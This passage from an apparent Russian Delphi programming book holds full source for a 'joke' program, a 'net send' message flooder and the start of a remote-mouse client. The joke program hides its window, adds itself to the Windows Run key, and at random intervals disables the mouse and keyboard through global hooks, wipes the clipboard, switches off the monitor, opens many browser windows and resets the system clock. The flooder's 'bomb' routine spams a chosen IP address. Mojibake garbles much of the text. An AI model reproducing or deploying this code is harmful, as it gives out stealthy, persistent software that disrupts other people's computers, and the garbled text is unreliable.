В ss:= IntToStr(balls);

 //делаем почти все компоненты невидимыми

В Memo1.Visible:= False;

В СЂ5.Visible:= False;

В RadioGroup1.Visible:= False;

В Label1.Visible:= False;

В an1.Visible:= False;

В an2.Visible:= False;

В an3.Visible:= False;

В an4.Visible:= False;

 Label2.Visible:=True;//показываем метку с результатом

 Label2.Align:= alClient;//растягиваем ее на всю форму

 //Отображаем процент правильных ответов

 Label2.Caption:= 'Правильных ответов' + IntToStr(balls*(100 div 5))+'%';

end;

procedure TForm1.N4Click(Sender: TObject);

begin

 Halt; //выход из программы

end;

procedure TForm1.p1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p1.BevelInner:= bvLowered;

В p1.BevelOuter:= bvRaised;

end;

procedure TForm1.p1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p1.BevelInner:=bvRaised;

В p1.BevelOuter:=bvLowered;

end;

procedure TForm1.p2MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p2.BevelInner:= bvLowered;

В p2.BevelOuter:= bvRaised;

end;

procedure TForm1.p2MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p2.BevelInner:=bvRaised;

В p2.BevelOuter:=bvLowered;

end;

procedure TForm1.p3MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p3.BevelInner:= bvLowered;

В p3.BevelOuter:= bvRaised;

end;

procedure TForm1.p3MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p3.BevelInner:=bvRaised;

В p3.BevelOuter:=bvLowered;

end;

procedure TForm1.p4MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p4.BevelInner:= bvLowered;

В p4.BevelOuter:= bvRaised;

end;

procedure TForm1.p4MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p4.BevelInner:=bvRaised;

В p4.BevelOuter:=bvLowered;

end;

procedure TForm1.p5MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p5.BevelInner:= bvLowered;

В p5.BevelOuter:= bvRaised;

end;

procedure TForm1.p5MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p5.BevelInner:=bvRaised;

В p5.BevelOuter:=bvLowered;

end;

procedure TForm1.N1Click(Sender: TObject);

begin

В Randomize;

В ss:= zz;

 start(); //начало теста

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

 DeleteFile('c:\base.bsd'); //удаляем расшифрованную базу

end

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_13.

 

Постановка задачи

Разработать программу, которая будет работать незаметно для пользователя и периодически выполнять выбранную случайным образом шуточную процедуру или функцию.

 

Разработка формы

Создайте новый проект Delphi. Для того чтобы выполнять периодические действия, нам понадобится компонент Timer категории System. Программа будет выполнять каждую минуту случайно выбранную шутку. Для того чтобы таймер срабатывал каждую минуту, необходимо присвоить свойству Interval значение 60000. Больше никаких свойств ни для формы, ни для таймера изменять не нужно.

 

Разработка программного кода

 

Первое, что нужно сделать для шуточной программы, — скрыть ее от глаз пользователя. Для этого достаточно создать обработчик события формы OnPaint и добавить в него следующий код:

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1 . Hide ; //прячем форму

end;

Здесь мы при каждой прорисовке формы скрываем ее из виду. При этом она не только будет скрыта визуально, но и исчезнет с панели задач, а также не будет отображаться на вкладке Приложения в диспетчере задач Windows.

Еще одно важное действие для нашей программы — реализация автозагрузки вместе с запуском ОС. Для этого создайте обработчик события главной формы OnCreate и добавьте в него следующий код:

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry; //переменная для работы с реестром

  path : string; //содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

В path:= Application.EXEname;

 reg := TRegistry.Create; //открываем реестр

 //ветка текущего пользователя

В reg.RootKey := HKEY_CURRENT_USER ;

 //открываем раздел автозагрузки

В if reg . OpenKey('\Software\Microsoft\Windows\' +

В  'CurrentVersion\Run', True)

В then begin

  //записываем ссылку на нашу программу в автозагрузку

В В reg.WriteString('Joker', path) ;

  reg.CloseKey; //закрываем реестр

  reg.Free; //освобождаем память

В  end;

end;

Чтобы это все работало, необходимо добавить в раздел uses ссылку на модуль Registry. Теперь все готово для создания программных шуток . Сначала объявим все глобальные переменные в разделе var:

var

В Form1: TForm1;

 //для отключения мыши и клавиатуры

В Dummy: integer = 0;

В OldKbHook: HHook = 0;

 //для снятия копии экрана

В Р’РњР 1: Graphics.TBitmap;

В DC1: HDC;

В Image1 : TImage ;

 // для поиска случайного рисунка

В fn : TSearchRec;

В Finds: integer;

В i : integer ;

В endval: integer;

 err_str : string; //вывод ошибки

 tm : TSystemTime ; //изменение времени

 reg: TRegistry; //для работы с реестром

 JokeNum: shortint ; //номер шутки, которую следует выполнить

 curs: TRect; //координаты прямоугольника

Все шутки будут описаны в обработчике события таймера OnTimer.

Добавьте в этот обработчик следующий код:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

 JokeNum:= Random(10) + 1; //Выбираем случайный номер шутки

 case JokeNum of //выполняем шутку

В 1: begin

  //код первой шутки

В end;

В 2:

В begin

  //код второй шутки

В end;

В 3: begin

  //код третьей шутки

В end;

В 4: begin

  //код четвертой шутки

В end;

В 5: begin

  //код пятой шутки

В end;

В 6: begin

  //код шестой шутки

В end;

В 7: begin

  //код седьмой шутки

В end;

В 8: begin

  //код восьмой шутки

В end;

В 9: begin

  //код девятой шутки

В end;

В 10: begin

  //код десятой шутки

В end;

В end;

end;

Это шаблон для генератора шуток. Здесь выбирается случайное число от 1 до 10, которое будет определять, какую из шуток выполнить на этой минуте. Далее будут представлены фрагменты кода, выполняющие определенные действия, которые следует вставлять вместо комментария в соответствующую ветку конструкции case.

 

Шутка №1 — ограничение диапазона движения мыши

Итак, первая шутка заключается в наложении ограничения на диапазон движения мыши:

СЃurs:=В Rect(0, 0, Screen.Width div 2, Screen.Height);

ClipCursor(@curs);

После этого указатель мыши можно будет перемещать только в одной половине экрана.

 

Шутка №2 — отключение кнопок мыши

Вторая шутка будет более радикальной: используя перехваты функций, отключим кнопки мыши — ни левая, ни правая, ни средняя кнопка не будут выполнять никаких действий. Для этого напишите в разделе implementation следующую функцию:

function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

В if code < 0 then

В  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

В else

В  Result:= 1;

end;

После этого напишите код для второй шутки:

SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

После этого ни одна из кнопок мыши функционировать не будет.

 

Шутка №3 — отключение клавиатуры

Используя функцию для отключения мыши, можно написать код для отключения клавиатуры. Напишите такой код для третьей шутки:

SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

Здесь вызывается та же функция, только вместо параметра WH_MOUSE ей передается WH_KEYBOARD. После этого клавиши на клавиатуре перестанут функционировать.

 

Шутка №4 — очистка буфера обмена

Четвертая шутка будет очищать буфер обмена и помещать туда собственный текст. Ее код:

ClipBoard.Open; //открываем буфер обмена

ClipBoard.Clear; //очищаем буфер обмена

//Помещаем в буфер обмена свой текст

Clipboard.asText:= 'Буфер обмена временно не работает!';

ClipBoard.Close; //закрываем буфер обмена

Для работы с буфером обмена необходимо добавить в раздел use ссылку на модуль clipbrd.

 

Шутка №5 — назначение фона для Рабочего стола

Пятая шутка будет делать копию экрана, сохранять этот рисунок, а затем назначать его в качестве фона для Рабочего стола. Вначале в разделе implementation напишем процедуру SetWallpaper, которая будет устанавливать фоновый рисунок:

procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

В reg:= TRegistry.Create;

В reg.RootKey:= hkey_current_user;

В if reg.OpenKey('Control Panel\Desktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

 //растянуть рисунок на весь экран

В reg.WriteString('TileWallpaper', '1');

В with reg do begin

В  WriteString('Wallpaper', sWallpaperBMPPath);

В  if bTile thenВ begin

В В  WriteString('TileWallpaper', '1');

В  end

В В else begin

В В  WriteString('TileWallpaper', '0');

В В end;

В end;

В reg.Free;

В SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end;

Информацию о фоновом рисунке Рабочего стола можно найти в реестре в ветке HKEY_CURRENT_USER по пути \Control Panel\Desktop. Параметр, содержащий название рисунка, называется wallpaper. То есть, для того чтобы сменить "обои" нам необходимо изменить значение параметра wallpaper и оповестить систему о том, что были внесены изменения в реестр. Последняя строка самая важная — она обновляет системные настройки.

Функция SystemParametersInfo имеет следующие параметры:

• действие, которое необходимо выполнить (в нашем случае SPI_SETDESKWALLPAPER — установка обоев);

• зависит от значения первого параметра;

• в нашем случае — путь к файлу с рисунком;

• в последнем параметре указывается, что необходимо сделать по сле выполнения всех действий. В данном случае мы должны обновить настройки системы — для этого выбираем SPIF_SENDWININICHANGE.

Код шутки в обработчике события таймера имеет следующий вид:

Р’РњР 1:= Graphics.TBitmap.Create;

//задаем размеры рисунка такие же, как размеры экрана

BMP1.Height:= Screen.Height;

BMP1.Width:= Screen.Width;

DC1:=GetDC(0);

//Делаем копию экрана

BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

Form1.Visible:= True; //восстанавливаем окно нашей программы

Image1:= TImage.Create(nil);

BMP1.IgnorePalette:= True;

Image1.Picture.Assign(BMP1);

BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

Repaint; //обновляем

Здесь мы делаем копию экрана, сохраняем ее в файл и, вызывая процедуру SetWallPaper, назначаем в качестве фона Рабочего стола.

 

Шутка №6 — выбор фона случайным образом

Раз уж мы написали процедуру, которая устанавливает фоновый рисунок, почему бы не использовать ее в нашей следующей шутке?

Шестая шутка будет заключаться в том, чтобы выбрать случайным образом рисунок из каталога Windows и сделать его фоновым:

endval:= Random(10) + 5; //для случайности выбора рисунка

//ищем все файлы с расширением *.bmp в каталоге Windows

Finds:= FindFirst('РЎ:\Windows\*.bmp', faAnyFile, fn);

Finds:= Random(2) ; //случайное число, 0 или 1

//если выпала 1, то устанавливаем первый попавшийся рисунок

if Finds = 1 then SetWallpaper(fn.Name, False);

if Finds = 0 then begin //иначе…

В for i:=1 to endval do begin

  Finds:= FindNext(fn); // …ищем другие рисунки

  //выбираем любой другой рисунок и делаем его фоновым

  if i = endval – 3 then SetWallpaper(fn.Name, False);

В end;

end;

FindClose(fn); //завершаем поиск

Здесь мы перебираем все рисунки в каталоге Windows и случайным образом выбираем один из них в качестве фонового. Затем мы устанавливаем фон с помощью ранее созданной процедуры SetWallpaper.

 

Шутка №7 — выключение монитора

Седьмая шутка будет выключать монитор. Для этого достаточно написать одну строку кода:

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

 

Шутка №8 — сообщение об ошибке, содержащее "мусор"

Восьмая шутка будет выводить сообщение об ошибке, но не простое, а содержащее огромное количество случайных чисел. Код этой шутки:

for i:=1 to 200 do begin

В case i of

 //после каждого 25-го числа – перенос на новую строку

В  25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

В end;

 //текст "ошибки"

В err_str:= err_str + IntToStr(Random(99999));

end;

MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

В цикле от 1 до 200 выбирается случайное число от 0 до 99999. Все числа преобразовываются к символьному виду и добавляются к строковой переменной errstr. На каждом 25-м числе происходит перенос строки. В результате выдается примерно такое сообщение об "ошибке" как на рис. 14.1.

Рис. 14.1. Сообщение об "ошибке"

 

Шутка №9 — открытие браузера Internet Explorer

В девятой шутке мы будем открывать несколько (от 5 до 15) окон браузера Internet Explorer с попыткой зайти на сайт www.heel.nm.ru.

Код этой шутки:

for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

В ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

В  'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

Чтобы использовать функцию ShellExecute, необходимо добавить в раздел uses ссылку на модуль ShellApi.

 

Шутка №10 — сброс системной даты/времени

Последняя, десятая шутка будет устанавливать текущую дату 01.01.2000, и изменять текущее время на 00:00:01. Код этой шутки:

GetLocalTime(tm); //узнаем текущую дату и время

tm.wYear:= 2000; //устанавливаем год

tm.wMonth:= 01; //месяц

tm.wDay:= 01; //день

tm.wHour:= 0; //часы

tm.wMinute:= 0; //минуты

tm.wSecond := 1; //секунды

tm.wMilliseconds := 0; //РјСЃ

SetLocalTime(tm); //устанавливаем новую дату и время

 

Полный исходный код модуля

Полный код программного модуля генератора шуток представлен в листинге 14.1.

Листинг 14.1. Программный модуль генератора шуток

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;

type

В TForm1 = class(TForm)

В Timer1: TTimer;

В procedure Timer1Timer(Sender: TObject);

В procedure FormPaint(Sender: TObject);

В procedure FormCreate(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

 //для отключения мыши и клавиатуры

В Dummy: integer = 0;

В OldKbHook: HHook = 0;

 //для снятия копии экрана

В Р’РњР 1: Graphics.TBitmap;

В DC1: HDC;

В Image1: TImage;

 // для поиска случайного рисунка

В fn: TSearchRec;

В Finds: integer;

В i: integer;

В endval: integer;

 err_str: string;//вывод ошибки

 tm: TSystemTime; //изменение времени

 reg: TRegistry; //для работы с реестром

 JokeNum: shortint; //номер шутки, которую следует выполнить

 curs: TRect; //координаты прямоугольника

implementation

procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

В reg:= TRegistry.Create;

В reg.RootKey:= hkey_current_user;

В if reg.OpenKey('Control Panel\Desktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

 //растянуть рисунок на весь экран

В reg.WriteString('TileWallpaper', '1');

В with reg do begin

В  WriteString('Wallpaper', sWallpaperBMPPath);

В  if bTile thenВ begin

В В  WriteString('TileWallpaper', '1');

В  end

В В else begin

В В  WriteString('TileWallpaper', '0');

В В end;

В end;

В reg.Free;

В SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end ;

function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

В if code < 0 then

В  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

В else

В  Result:= 1;

end;

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);

var

В JokeNum: shortint;

В curs: TRect;

begin

В JokeNum:= Random(10) + 1;

В case JokeNum of

  1: begin //Уменьшить диапазон движения мыши

В  В curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

В  В ClipCursor(Scurs);

В  end;

  2: begin //Отключить мышь

В  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

В  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

В  OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

В  end;

  3: begin //отключить клавиатуру

В В  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

В В В SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

В В В OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

В  end;

  4: begin //Очистить буфер обмена

   ClipBoard.Open;//открываем буфер обмена

   ClipBoard.Clear;//очищаем буфер обмена

   //Помещаем в буфер обмена свой текст

   Clipboard.asText:= 'Буфер обмена временно не работает!';

   ClipBoard.Close; //закрываем буфер обмена

В В end;

  5: begin // сделать копию экрана и назначить её фоном

В В  Р’РњР 1:= Graphics.TBitmap.Create;

   //задаем размеры рисунка такие же,как размеры экрана

В В  BMP1.Height:= Screen.Height;

В В  BMP1.Width:= Screen.Width;

В В  DC1:=GetDC(0);

   //Делаем копию экрана

В В  BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

   Form1.Visible:= True;//восстанавливаем окно нашей программы

В В  Image1:= TImage.Create(nil);

В В  BMP1.IgnorePalette:= True;

В В  Image1.Picture.Assign(BMP1);

   BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

   SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

   Repaint; //обновляем

В В end;

  6: begin // Найти случайный рисунок и сделать его фоновым

   endval:= Random(10) + 5; //для случайности выбора рисунка

   //ищем все файлы с расширением *.bmp в каталоге Windows

В В  Finds:= FindFirst('РЎ:\Windows\*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайное число, 0 или 1

   //если выпала 1, то устанавливаем первый попавшийся рисунок

В В  if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначе…

В В  В for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищем другие рисунки

     //выбираем любой другой рисунок и делаем его фоновым

     if i = endval – 3 then SetWallpaper(fn.Name, False);

В В  В end;

В В  end;

   FindClose(fn); //завершаем поиск

В В end;

  7: begin //Выключить монитор

В В  SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

В В end;

  8: begin //Сообщение об "ошибке"

В В  for i:=1 to 200 do begin

В В В  case i of

    //после каждого 25-го числа – перенос на новую строку

В В  В 25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

В В  В end;

    //текст "ошибки"

В В  В err_str:= err_str + IntToStr(Random(99999));

В В  end;

   MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

В В end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

В В  В ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

В В  В  'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

В В end;

 10: begin //Перевести время

   GetLocalTime(tm); //узнаем текущую дату и время

   tm.wYear:= 2000; //устанавливаем год

   tm.wMonth:= 01; //месяц

   tm.wDay:= 01; //день

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //минуты

   tm.wSecond := 1; //секунды

В В  tm.wMilliseconds := 0; //РјСЃ

   SetLocalTime(tm); //устанавливаем новую дату и время

В В end;

В end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

В path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

В reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

В if reg.OpenKey('\Software\Microsoft\Windows\' +

В  'CurrentVersion\Run', True)

В then begin

  //записываем ссылку на нашу программу в автозагрузку

В В reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

В end;

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_14.

 

Постановка задачи

Разработать программу, которая будет предоставлять интерфейс для использования стандартной для Win2000/XP команды передачи сообщений net send. Дать возможность указать пользователю адрес получателя, текст сообщения и количество отправляемых сообщений. Также предусмотреть возможность установки блокировки на получение сообщений от других компьютеров.

 

Разработка формы

Создайте новый проект Delphi. Измените заголовок формы (свойство Caption) на Net Sender. Разместите вдоль левого края формы один над другим три компонента Label категории Standard и присвойте их свойству Caption значения IP-адрес:, Сообщение: И Количество:.

Рядом с каждой из меток разместите по компоненту Edit категории Standard. Самый верхний назовите ip (свойство Name), а свойству Text присвойте значение 192.168.0.1.; среднее поле назовите txt, а свойству Text присвойте какой-либо текст сообщения по умолчанию; самое нижнее поле назовите how, а свойству Text присвойте значение 1.

Под перечисленными компонентами разместите компонент Checkbox категории Standard. Присвойте ему имя secure, свойству Caption присвойте значение Отключить прием сообщений, а свойству Checked — значение True.

В самом низу формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Send. Также нам понадобится таймер (компонент Timer категории System), для которого свойству Interval следует присвоить значение 10.

Полученная форма должна соответствовать рис. 15.1.

Рис. 15.1. Форма для программы отправки сообщений в локальной сети

 

Разработка программного кода

Прежде всего напишем собственную процедуру bomb, которая будет считывать все настройки и отправлять сообщение. Объявите эту процедуру как закрытый член класса формы:

type

В TForm1 = class(TForm)

 …

private

В { Private declarations }

В procedure bomb() ;

public

В { Public declarations }

end;

Также нам понадобится глобальная переменная i типа integer:

var

В Form1: TForm1;

В  i: integer;

Теперь создадим реализацию процедуры bomb в разделе implementation:

procedure TForm1.bomb() ;

begin

 //проверяем, не пустое ли текстовое сообщение

В if txt.Text = '' then txt.Text:= '!';

 //если количество не указано, то отправляем одно сообщение

В if how.Text= '' then how.Text:= '1';

 if ip.Text = '' then ip.Text:= '127.0.0.1'; {если ip-адрес не указан, то отправляем на локальный компьютер}

 //отправляем указанное количество сообщений

В  for i:=1 to StrToInt(how.Text) do

  WinExec(PChar('net send ' + ip.Text + '"' + txt.Text + '"'), 0); //отправка сообщения

end;

В этой процедуре выполняется проверка: все ли необходимые поля заполнены. Если нет текста сообщения, то устанавливаем знак "!"; если не указан IP-адрес, то отправляем сообщение на локальный компьютер с адресом 127.0.0.1; если не указано количество сообщений, то отправляем одно сообщение. Сообщения отправляются с помощью стандартной команды net send, которая имеет следующий синтаксис:

net send ip-адрес сообщение.

Теперь обработаем событие таймера OnTimer:

procedure TForm1.Timer1Timer(Sender: TObject);

var

 h: HWND; //хранит идентификатор окна

begin

 if not secure.Checked then //если флажок не установлен

  Timer1.Enabled:= False; //отключаем мониторинг

 if secure.Checked then //если флажок установлен

В  begin

  //ищем окна с сообщениями

  h:= FindWindow(nil, 'Служба сообщений '); //закрываем все найденные окна

В  if hВ <>В 0 then PostMessage(h, WM_QUIT, 0, 0);

В  end;

end;

Если установлен флажок Отключить прием сообщений, то мы начинаем мониторинг окон, заголовок которых говорит о том, что это — сообщение, и закрываем все найденные окна. Если флажок не установлен, то мониторинг отключается.

Для того чтобы можно было переключаться между этими двумя режимами, необходимо создать обработчик события secure.OnClick:

procedure TForm1.secureClick(Sender: TObject);

begin

 if secure.Checked then //если флажок установлен…

  Timer1.Enabled:= True; //…включаем мониторинг

end;

При нажатии кнопки Send мы будем просто вызывать процедуру bomb:

procedure TForm1.Button1Click(Sender: TObject);

begin

В  bomb;

end;

Для того чтобы облегчить пользователю жизнь, сделаем так, чтобы отправка сообщения осуществлялась также по нажатии клавиши в любом текстовом поле ввода. Для этого необходимо создать обработчик события OnKeyPress для каждого из полей. Код этого обработчика для поля ip, который затем можно назначить полям txt и how:

procedure TForm1.ipKeyPress(Sender: TObject; var Key: Char);

begin

 if key = #13 then //если нажата клавиша

 bomb; //отправка сообщения

end;

 

Полный исходный код модуля

Полный код модуля программы отправки сообщений по локальной сети представлен в листинге 15.1.

Листинг 15.1. Модуль программы отправки сообщений по локальной сети

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type TForm1 = class(TForm)

В Button1: TButton;

В ip: TEdit;

В Label1: TLabel;

В Label2: TLabel;

В txt: TEdit;

В Label3: TLabel;

В how: TEdit;

В secure: TCheckBox;

В Timer1: TTimer;

В procedure Timer1Timer(Sender: TObject);

В procedure secureClick(Sender: TObject);

В procedure ipKeyPress(Sender: TObject; var Key: Char);

В procedure txtKeyPress(Sender: TObject; var Key: Char);

В procedure howKeyPress(Sender: TObject; var Key: Char);

В procedure Button1Click(Sender: TObject);

private

В { Private declarations }

В procedure bomb();

public

В { Public declarations }

end;

var

В Form1: TForm1;

В i: integer;

implementation

{$R *.dfm}

procedure TForm1.bomb();

begin

 //проверяем, не пустое ли текстовое сообщение

В if txt.Text = '' then txt.Text:= '!';

 //если количество не указано, то отправляем одно сообщение

В if how.Text= '' then how.Text:= '1';

 if ip.Text = '' then ip.Text:= '127.0.0.1'; {если ip-адрес не указан, то отправляем на локальный компьютер}

 //отправляем указанное количество сообщений

В for i:=1 to StrToInt(how.Text) do

  WinExec(PChar('net send ' + ip.Text + '"' + txt.Text + '"'), 0); //отправка сообщения

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

 h: HWND; //хранит идентификатор окна

begin

 if not secure.Checked then //если флажок не установлен

  Timer1.Enabled:= False; //отключаем мониторинг

 if secure.Checked then //если флажок установлен

В begin

  //ищем окна с сообщениями

  h:= FindWindow(nil, 'Служба сообщений '); //закрываем все найденные окна

В  if hВ <>В 0 then PostMessage(h, WM_QUIT, 0, 0);

В end;

end;

procedure TForm1.secureClick(Sender: TObject);

begin

 if secure.Checked then //если флажок установлен…

  Timer1.Enabled:= True; //…включаем мониторинг

end;

procedure TForm1.ipKeyPress(Sender: TObject; var Key: Char);

begin

 if key = #13 then //если нажата клавиша

 bomb; //отправка сообщения

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

В bomb;

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter 15.

 

Постановка задачи

Разработать программу, которая в точности повторяет на одном компьютере все движения указателя мыши, сделанные на другом компьютере. Компьютеры могут находиться как в локальной сети, так и в Internet.

На самом деле нам придется разработать две программы: первая (назовем ее "Клиент") будет получать координаты указателя на одном компьютере и отправлять их второй программе (назовем ее "Сервер"), которая будет принимать и изменять текущие координаты указателя на присланные клиентом. Данный тип связи называется "клиент-сервер" и для его использования у нас есть все необходимые компоненты на стандартной палитре компонентов Delphi. У "клиента" будет форма с настройками, а "сервер" будет работать незаметно для пользователя. Сначала разработаем клиентскую программу.

 

Разработка клиентской программы

 

Разработка формы

Создайте новый проект Delphi. Присвойте свойству Caption формы заголовок Remote Mouse. Разместите на форме компонент Label категории Standard и присвойте его свойству Caption значение Port. Справа от этой метки разместите компонент Edit категории Standard. Назовите его port (свойство name), а свойству text присвойте значение 2801.

Ниже разместите еще один компонент Label, присвоив его свойству Caption значение IP. Справа от него разместите компонент Edit с именем ip и текстом 127.0.0.1.

В самом низу формы разместите две кнопки (компоненты Button категории Standard), присвоив их свойству Caption значения Connect и Disconnect. Также нам понадобится компонент Timer категории System. В свойствах таймера следует изменить значение свойства Enabled на False, а свойства Interval — на 500 (что соответствует половине секунды).

Разместите на форме самый важный компонент нашей программы — Client Socket категории Internet — и присвойте ему имя Client (свойство Name). Остальные свойства этого компоненты мы будем изменять в самой программе.

Полученная форма должна соответствовать рис. 16.1.

Рис. 16.1. Форма клиентской программы для удаленного управления указателем

 

Разработка программного кода

По нажатию кнопки Connect должны считываться все настройки и выполняться соединение с сервером:

procedure TForm1.Button1Click(Sender: TObject);

begin

 Client.Port := StrToInt(port.Text) ; //считываем порт

 Сlient.Address:= ip.text; //считываем ip-адрес сервера

 Client.Active:= True; //соединяемся

  Timer1.Enabled:= True; //включаем таймер

end;

Сначала мы считываем все необходимые настройки, а затем предпринимаем попытку соединиться с сервером. Если все нормально, то включаем таймер, по которому будут передаваться координаты указателя мыши.

Обработаем нажатие кнопки Disconnect:

procedure TForm1.Button2Click(Sender: TObject);

begin

 Timer1.Enabled:= False; //выключаем таймер

 Client.Close; //закрываем соединение

 Client.Active:=False; //отключаемся от сервера

end;

При нажатии кнопки Disconnect мы перестаем передавать координаты указателя на сервер и отсоединяемся от него.

Для того чтобы на сервере не возникало ошибок при аварийном выключении клиента, создайте обработчик события формы OnDestroy и добавьте в него следующий код:

procedure TForm1.FormDestroy(Sender: TObject);

begin

 Client.Close; //закрываем соединение

 Client.Active:=False; //отключаемся от сервера

end;

При аварийном завершении программы закрывается соединение и выполняется отключение от сервера.

Для уведомления пользователя об успешном соединении с сервером создайте обработчик события client.OnConnect:

procedure TForm1.ClientConnect(Sender: TObject; Socket: TCustomWinSocket);

begin

  ShowMessage('Connected!'); //показать сообщение

end;

Для реализации аналогичного действия при отсоединении от сервера, следует создать обработчик события OnDisconnect:

procedure TForml.ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);

begin

 ShowMessage('Disconnected!'); //сообщение при отсоединении

end;

Теперь обработаем событие OnTimer для компонента Timer:

procedure TForm1.Timer1Timer(Sender: TObject);

var

 cur:TPoint; //хранит координаты указателя мыши

begin

 GetCursorPos(cur) ; //узнаем координаты указателя мыши

 //отправляем данные на сервер

В Client.Socket.SendText(IntToStr(cur.X) +'_' + IntToStr(cur.Y));

end;

Каждые полсекунды мы будем получать координаты указателя мыши и отправлять их на сервер. Программа-клиент полностью готова. Теперь разработаем программу-сервер.

 

Разработка серверной программы

